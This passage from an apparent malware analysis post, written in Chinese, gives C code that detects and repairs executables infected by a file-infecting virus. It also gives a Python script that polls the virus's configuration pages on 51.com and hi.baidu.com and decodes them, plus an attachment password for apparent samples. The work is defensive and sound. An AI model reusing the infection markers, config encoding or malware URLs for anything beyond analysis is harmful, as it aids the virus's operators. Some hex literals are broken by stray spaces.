ReadFile (hFile, &dwHeadSize, 4 , &dwRead, NULL);
MapOfFile = (LPBYTE)VirtualAlloc (0 , dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (MapOfFile == 0 )
goto Exit0;
SetFilePointer (hFile, 0 , NULL, FILE_BEGIN);
ReadFile (hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
SH = IMAGE_FIRST_SECTION32 (PE);
if ((SH + PE-> FileHeader.NumberOfSections -1 )-> Characteristics != 0xe00000e0 )
goto FreeExit0;
dwTemp = (SH + PE-> FileHeader.NumberOfSections -1 )-> SizeOfRawData;
if ((SH + PE-> FileHeader.NumberOfSections -1 )-> SizeOfRawData == 0x9800 )
goto Found;
if ((SH + PE-> FileHeader.NumberOfSections -1 )-> SizeOfRawData != 0xa000 )
goto FreeExit0;
Found:
for (i = 0 ; i < PE-> FileHeader.NumberOfSections; i ++)
{
SetFilePointer (hFile, (SH + i)-> PointerToRawData, NULL, FILE_BEGIN);
ReadFile (hFile, (SH + i)-> VirtualAddress + MapOfFile, (SH + i)-> SizeOfRawData, &dwRead, NULL);
}
LastSection = (PDWORD)(MapOfFile + (SH + PE-> FileHeader.NumberOfSections -1 )-> VirtualAddress);
dwKey = *LastSection;
*(LastSection + 1 ) = *(LastSection + 1 ) ^ dwKey;
if (*(LastSection + 1 ) != 0x77582588 )
goto FreeExit0;
*(LastSection + 2 ) = *(LastSection + 2 ) ^ dwKey;
dwTemp = *(LastSection + 2 );
if (*(LastSection + 2 ) != 6 )
goto FreeExit0;
pSaveInfo = (PINFO)malloc (sizeof (INFO));
memset (pSaveInfo, 0 , sizeof (INFO));
strcpy (pSaveInfo-> szFileName, szFileName);
pSaveInfo-> MapOfFile = MapOfFile;
pSaveInfo-> PE = PE;
pSaveInfo-> SH = SH;
pSaveInfo-> dwKey = dwKey;
pSaveInfo-> dwimagesize = dwImageSize;
bReturn = TRUE;
goto Exit0;
FreeExit0:
VirtualFree (MapOfFile,0 ,MEM_RELEASE);
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle (hFile);
hFile = INVALID_HANDLE_VALUE;
}
return bReturn;
}
对感染的文件进行修复:bool IsRepairSuccess ()
{
bool bRet = FALSE;
BOOL bWrite;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0 ;
DWORD dwOffset = 0 ;
DWORD dwTemp = 0 ,dwTemp1,dwTemp2;
DWORD counter = 0 ,i;
IMAGE_SECTION_HEADER* SH;
PDWORD patch_call_info,patch_call_info_copy,dwPatch_tmp;
DWORD file_offset,file_offset_end;
PBYTE patched_call_va,check_call_va,dwrepair;
DWORD dwSizeOfHead = 0 ;
SH = pSaveInfo-> SH;
patch_call_info = (PDWORD)((pSaveInfo-> MapOfFile + (SH + pSaveInfo-> PE-> FileHeader.NumberOfSections -1 )-> VirtualAddress) + 0x14 );
patch_call_info_copy = patch_call_info;
do
{
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo-> dwKey;
dwTemp = *(patch_call_info);
if (dwTemp != 0 )
{
++counter;
if (counter > 6 )
goto Exit0;
++patch_call_info;
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo-> dwKey;
++patch_call_info;
}
} while ( dwTemp != 0 );
if (counter <= 0 )
{
goto Exit0;
}
if (counter == 1 )
{
goto repair;
}
patch_call_info = patch_call_info_copy;
dwTemp = counter;
dwTemp ++;
while (--dwTemp!=1 )
{
dwPatch_tmp = patch_call_info_copy;
dwTemp1 = *(patch_call_info_copy);
patch_call_info_copy = patch_call_info_copy + 2 ;
dwTemp2 = *(patch_call_info_copy);
if (dwTemp2 == dwTemp1)
{
i = dwTemp;
i --;
i = i * 8 ;
i = i + 4 ;
memcpy (dwPatch_tmp,patch_call_info_copy,i);
counter --;
if (counter == 0 )
{
goto Exit0;
}
patch_call_info_copy = patch_call_info_copy - 2 ;
}
}
file_offset = pSaveInfo-> SH-> PointerToRawData;
file_offset_end = pSaveInfo-> SH-> SizeOfRawData + pSaveInfo-> SH-> PointerToRawData;
check_call_va = (pSaveInfo-> MapOfFile + (SH + pSaveInfo-> PE-> FileHeader.NumberOfSections -1 )-> VirtualAddress);
check_call_va = check_call_va + 0x5ee3 ;
do
{
dwTemp = *patch_call_info;
if (dwTemp < file_offset)
{
goto Exit0;
}
if (dwTemp > file_offset_end)
{
goto Exit0;
}
dwrepair = PBYTE (pSaveInfo-> MapOfFile + pSaveInfo-> SH-> VirtualAddress + dwTemp - file_offset);
patched_call_va = PBYTE (pSaveInfo-> MapOfFile + pSaveInfo-> SH-> VirtualAddress + dwTemp - file_offset);
--patched_call_va;
if (*patched_call_va != 0xe8 )
{
goto Exit0;
}
++patched_call_va;
patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
patched_call_va = patched_call_va + 4 ;
dwTemp2 = patched_call_va - check_call_va;
if ((dwTemp2 % 0x0a ) != 0 )
{
goto Exit0;
}
patch_call_info = patch_call_info + 1 ;
memcpy (dwrepair ,patch_call_info,4 );
patch_call_info = patch_call_info + 1 ;
} while (--counter);
repair:
-- pSaveInfo-> PE-> FileHeader.NumberOfSections;
pSaveInfo-> PE-> OptionalHeader.SizeOfImage = pSaveInfo-> PE-> OptionalHeader.SizeOfImage
- (pSaveInfo-> SH + pSaveInfo-> PE-> FileHeader.NumberOfSections)-> Misc.VirtualSize;
memset (pSaveInfo-> SH + pSaveInfo-> PE-> FileHeader.NumberOfSections,0 ,0x28 );
dwSizeOfHead = pSaveInfo-> PE-> OptionalHeader.SizeOfHeaders;
hFile = CreateFile (pSaveInfo-> szFileName, GENERIC_READ | GENERIC_WRITE, 0 , 0 , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if (INVALID_HANDLE_VALUE == hFile)
goto Exit0;
bWrite = WriteFile (hFile, pSaveInfo-> MapOfFile, dwSizeOfHead, &dwTemp, NULL);
for (i = 0 ; i < pSaveInfo-> PE-> FileHeader.NumberOfSections ; i ++)
bWrite = WriteFile (hFile, (SH + i)-> VirtualAddress + pSaveInfo-> MapOfFile, (SH + i)-> SizeOfRawData, &dwTemp, NULL);
dwTemp = (SH+i-1 )-> PointerToRawData + (SH+i-1 )-> SizeOfRawData;
dwTemp1 = SetFilePointer (hFile,(SH+i-1 )-> PointerToRawData + (SH+i-1 )-> SizeOfRawData,NULL,FILE_BEGIN);
dwTemp2 = SetEndOfFile (hFile);
bRet = TRUE;
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle (hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (NULL != pSaveInfo-> MapOfFile)
{
VirtualFree (pSaveInfo-> MapOfFile,0 ,MEM_RELEASE);
}
if (NULL != pSaveInfo)
{
free (pSaveInfo);
pSaveInfo = NULL;
}
return bRet;
}
最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望,脚本如下:
import os,sys
import urllib2
import time
import re, struct
def Decrypt_Config (srcData, hOutFile):
currIndex = 0
data_len = len (srcData)
ecx = data_len - 0 xa
p = re.compile (r'########(.*)' ,re.DOTALL)
m = p.search (srcData)
decrypt_data = []
if m:
found_offset = m.start (1 )
ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0 :
ah = srcData[found_offset]
al = srcData[found_offset+1 ]
eax = (ord (ah) << 0 x8) | ord (al)
#print "eax %08x" % eax
eax = eax - 0 x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append (chr (eax & 0 xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "" .join (decrypt_data)
first_dword = struct.unpack ('I' ,decrypt_data_[0 :4 ])[0 ]
if first_dword <= data_len:
check_value = struct.unpack ('H' ,decrypt_data_[4 :6 ])[0 ]
#print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_[6 :]
cur_offset = 0
while ecx >= 4 :
eax = eax + struct.unpack ('I' ,esi[cur_offset:cur_offset + 4 ])[0 ]
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0 xffff
if eax == check_value:
real_data = decrypt_data_[6 :first_dword+6 ]
hOutFile.write (real_data)
else:
print "no content found"
#time.sleep (7200 )
def downloadfilewithoutdecrypt (url):
try:
ha = urllib2.urlopen (url,)
if ha:
print 'get sucess\n'
configdata=ha.read ()
if configdata:
print 'get data correct \n'
if url.lower ().endswith ('625' ):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_' +time.strftime (ISOTIMEFORMAT, time.localtime ( time.time () ) )
outfile=file (Config_name + 'config625' ,'wb' )
Decrypt_Config (configdata,outfile)
#outfile.write (configdata)
outfile.close ()
if url.lower ().endswith ('358' ):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_' +time.strftime (ISOTIMEFORMAT, time.localtime ( time.time () ) )
outfile=file (Config_name + 'config358' ,'wb' )
Decrypt_Config (configdata,outfile)
outfile.close ()
if url.lower ().endswith ('home' ):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_' +time.strftime (ISOTIMEFORMAT, time.localtime ( time.time () ) )
outfile=file (Config_name + 'configtest' ,'wb' )
Decrypt_Config (configdata,outfile)
outfile.close ()
if url.lower ().endswith ('014' ):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_' +time.strftime (ISOTIMEFORMAT, time.localtime ( time.time () ) )
outfile=file (Config_name + 'config014' ,'wb' )
Decrypt_Config (configdata,outfile)
outfile.close ()
except urllib2.HTTPError:
pass
if __name__ == '__main__' :
weblist = [
"http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625" ,
"http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014" ,
"http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358" ,
"http://hi.baidu.com/test6345/home"
]
#f
i = 0
while (True):
for url in weblist:
i = i + 1
downloadfilewithoutdecrypt (url)
time.sleep (72 )
if i > 0 x10:
break
print "finishe"
这几天下载下来的内容,都是一样的。
附件密码:forfun